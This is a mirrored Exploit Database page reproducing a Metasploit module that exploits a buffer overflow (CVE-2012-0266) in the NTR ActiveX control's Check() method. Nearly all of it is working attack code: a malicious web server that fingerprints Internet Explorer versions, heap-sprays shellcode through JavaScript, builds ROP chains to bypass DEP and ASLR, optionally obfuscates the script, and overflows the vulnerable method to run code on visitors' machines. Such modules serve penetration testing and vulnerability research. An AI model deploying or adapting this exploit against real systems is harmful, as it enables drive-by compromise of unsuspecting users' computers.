NTR – ActiveX Control ‘Check()’ Method Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21841/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "9.0",
  		:javascript => true,
  		:os_name=> OperatingSystems::WINDOWS,
  		:classid=> "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
  		:method => "Check",
  		:rank => NormalRanking
  	})
  
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NTR ActiveX Control Check() Method Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
  				vulnerability exists in the Check() method, due to the insecure usage of strcat to
  				build a URL using the bstrParams parameter contents (note: this is also the reason
  				why the module won't allow you to modify the URIPATH), which leads to code execution
  				under the context of the user visiting a malicious web page. In order to bypass
  				DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
  			},
  			'Author' =>
  				[
  					'Carsten Eiram', # Vuln discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-0266' ],
  					[ 'OSVDB', '78252' ],
  					[ 'BID', '51374' ],
  					[ 'URL', 'http://secunia.com/secunia_research/2012-1/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 956,
  					'DisableNops' => true,
  					'BadChars'=> "",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# NTR ActiveX 1.1.8.0
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3',
  						{
  							'Rop' => nil,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x0c0c0c0c
  						}
  					],
  					[ 'IE 7 on Windows XP SP3',
  						{
  							'Rop' => nil,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x0c0c0c0c
  						}
  					],
  					[ 'IE 8 on Windows XP SP3',
  						{
  							'Rop' => :msvcrt,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt
  						}
  					],
  					[ 'IE 7 on Windows Vista',
  						{
  							'Rop' => nil,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x0c0c0c0c
  						}
  					],
  					[ 'IE 8 on Windows Vista',
  						{
  							'Rop' => :jre,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
  						}
  					],
  					[ 'IE 8 on Windows 7',
  						{
  							'Rop' => :jre,
  							'Offset' => '0x5f4',
  							'Random' => false,
  							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
  						}
  					],
  					[ 'IE 9 on Windows 7',
  						{
  							'Rop' => :jre,
  							'Offset' => '0x5fe',
  							'Random' => true,
  							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jan 11 2012',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class
  		)
  
  		deregister_options('URIPATH')
  
  	end
  
  	#
  	# Returns a random URI path which allows to reach the vulnerable code
  	#
  	def resource_uri
  		path = random_uri
  		path << random_uri
  		return path
  	end
  
  
  	#
  	# Generates a random URI for use with making finger printing more
  	# challenging.
  	#
  	def random_uri
  		"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
  	end
  
  	# Spray published by corelanc0d3r
  	# Exploit writing tutorial part 11 : Heap Spraying Demystified
  	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  	def get_random_spray(t, js_code, js_nops)
  
  		spray = <<-JS
  
  		function randomblock(blocksize)
  		{
  			var theblock = "";
  			for (var i = 0; i < blocksize; i++)
  			{
  				theblock += Math.floor(Math.random()*90)+10;
  			}
  			return theblock;
  		}
  
  		function tounescape(block)
  		{
  			var blocklen = block.length;
  			var unescapestr = "";
  			for (var i = 0; i < blocklen-1; i=i+4)
  			{
  				unescapestr += "%u" + block.substring(i,i+4);
  			}
  			return unescapestr;
  		}
  
  		var heap_obj = new heapLib.ie(0x10000);
  
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset_length = #{t['Offset']};
  
  		for (var i=0; i < 0x1000; i++) {
  			var padding = unescape(tounescape(randomblock(0x1000)));
  			while (padding.length < 0x1000) padding+= padding;
  			var junk_offset = padding.substring(0, offset_length);
  			var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
  			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  			heap_obj.alloc(sprayblock);
  		}
  
  		JS
  
  		return spray
  	end
  
  	def get_spray(t, js_code, js_nops)
  
  		spray = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset = nops.substring(0, #{t['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  		for (var z=1; z < 449; z++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		return spray
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1] #IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2] #IE 7 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3] #IE 7 on Windows XP SP3
  		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
  			return targets[4] #IE 7 on Windows Vista SP2
  		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
  			return targets[5] #IE 7 on Windows Vista SP2
  		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
  			return targets[6] #IE 7 on Windows 7 SP1
  		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
  			return targets[7] #IE 7 on Windows 7 SP1
  		else
  			return nil
  		end
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  			when :msvcrt
  				print_status("Using msvcrt ROP")
  				rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})
  
  			else
  				print_status("Using JRE ROP")
  				rop_payload = generate_rop_payload('java', code)
  		end
  
  		return rop_payload
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		print_status("User-agent: #{agent}")
  
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have a setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		p = get_payload(my_target, cli)
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  		if my_target['Random']
  			js = get_random_spray(my_target, js_code, js_random_nops)
  		else
  			js = get_spray(my_target, js_code, js_nops)
  		end
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		# The overflow occurs after strcat'ing controlled data to
  		# a url with the next format:
  		# http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]
  		#
  		# The URI length can be calculated on the fly since the value
  		# for the "a" param is being always 0 on my tests, even when
  		# should be the result of GetTickCount
  		my_uri = get_uri(cli)
  		pos = my_uri.rindex("/")
  		my_uri = my_uri[0, pos]
  		my_uri << "/mod/mod.asp?a=0&d="
  
  		my_badchars = "\x00\x0a\x0d\x22\x2c"
  
  		if my_target['Rop'].nil?
  			bof = rand_text_alpha(1056 - my_uri.length, my_badchars)
  			bof << [my_target.ret].pack("V")
  		else
  			bof = rand_text_alpha(1024 - my_uri.length, my_badchars)
  			bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot
  			bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)
  			bof << [my_target.ret].pack("V") # stackpivot
  		end
  
  		sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"
  
  		html = <<-MYHTML
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
  		<script>
  		test.Check("#{sploit}");
  		</script>
  		</body>
  		</html>
  		MYHTML
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("Sending html")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  end